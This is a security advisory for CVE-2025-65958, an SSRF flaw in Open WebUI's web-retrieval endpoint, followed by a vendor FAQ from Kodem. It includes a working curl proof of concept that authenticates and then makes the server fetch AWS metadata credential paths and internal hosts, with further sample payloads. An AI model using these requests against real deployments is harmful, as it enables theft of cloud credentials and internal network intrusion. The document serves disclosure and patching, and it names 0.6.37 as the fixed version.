CVE-2025-65958

A Server-Side Request Forgery (SSRF) vulnerability in Open WebUI allows any authenticated user to force the server to make HTTP requests to arbitrary URLs. This can be exploited to access cloud metadata endpoints (AWS/GCP/Azure), scan internal networks, access internal services behind firewalls, and exfiltrate sensitive information. No special permissions beyond basic authentication are required.

Details

The vulnerability exists in the /api/v1/retrieval/process/web endpoint located in backend/open_webui/routers/retrieval.py at lines 1758-1767.

Vulnerable code:
@router.post("/process/web")
def process_web(
request: Request, form_data: ProcessUrlForm, user=Depends(get_verified_user)
):
try:
collection_name = form_data.collection_name
if not collection_name:
collection_name = calculate_sha256_string(form_data.url)[:63]

      content, docs = get_content_from_url(request, form_data.url)  # ← SSRF vulnerability

The form_data.url parameter is passed directly to get_content_from_url() without any validation. This function chain ultimately calls web loaders that fetch arbitrary URLs:

Call chain:

1. retrieval.py:1767 → get_content_from_url(request, form_data.url)
2. retrieval/utils.py:77 → get_loader(request, url)
3. retrieval/utils.py:62 → get_web_loader(url, ...) or YoutubeLoader(url, ...)
4. Both loaders fetch the user-supplied URL without validation

No validation is performed for:

• Private IP ranges (RFC1918: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
• Localhost addresses (127.0.0.0/8)
• Cloud metadata endpoints (169.254.169.254, fd00:ec2::254)
• Protocol restrictions (file://, gopher://, etc.)
• Domain allowlisting

PoC

Prerequisites: Valid user account (any role)

Step 1 - Authenticate:
TOKEN=$(curl -s "http://localhost:3000/api/v1/auths/signin"
-H 'Content-Type: application/json'
-d '{"email":"[email protected]","password":"password"}'
| python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

Step 2 - Basic SSRF Test (external URL):
curl -s "http://localhost:3000/api/v1/retrieval/process/web"
-H "Authorization: Bearer $TOKEN"
-H 'Content-Type: application/json'
-d '{"url":"http://example.com"}'

Result: Server fetches example.com and returns its content, proving the vulnerability.

{
"status": true,
"file": {
"data": {
"content": "Example Domain This domain is for use in documentation..."
}
}
}

Step 3 - Advanced Attack (AWS metadata):
curl -s "http://localhost:3000/api/v1/retrieval/process/web"
-H "Authorization: Bearer $TOKEN"
-H 'Content-Type: application/json'
-d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

Result: Server exposes cloud credentials if running on AWS/GCP/Azure.

Other attack examples:

• Internal network: {"url":"http://192.168.1.1"}
• Localhost services: {"url":"http://localhost:5432"}
• Internal APIs: {"url":"http://internal-api.local"}

Who is affected: All authenticated users (no special permissions required)

Attack capabilities:

1. Cloud Environment Compromise
   - Steal AWS/GCP/Azure credentials via metadata endpoints
   - Result: Full cloud account takeover
2. Internal Network Access
   - Bypass firewalls to access internal services (databases, admin panels, APIs)
   - Port scan and map internal infrastructure
   - Result: Complete network visibility
3. Data Exfiltration
   - Read internal documentation, configurations, secrets
   - Access Kubernetes API servers
   - Result: Credential theft, API key exposure

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2025-65958 has a CVSS score of 8.5 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.6.37); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-65958? CVE-2025-65958 is a high-severity server-side request forgery (SSRF) vulnerability in open-webui (pip), affecting versions <= 0.6.36. It is fixed in 0.6.37. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is CVE-2025-65958? CVE-2025-65958 has a CVSS score of 8.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of open-webui are affected by CVE-2025-65958? open-webui (pip) versions <= 0.6.36 is affected.
4. Is there a fix for CVE-2025-65958? Yes. CVE-2025-65958 is fixed in 0.6.37. Upgrade to this version or later.
5. Is CVE-2025-65958 exploitable, and should I be worried? Whether CVE-2025-65958 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-65958 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-65958? Upgrade open-webui to 0.6.37 or later.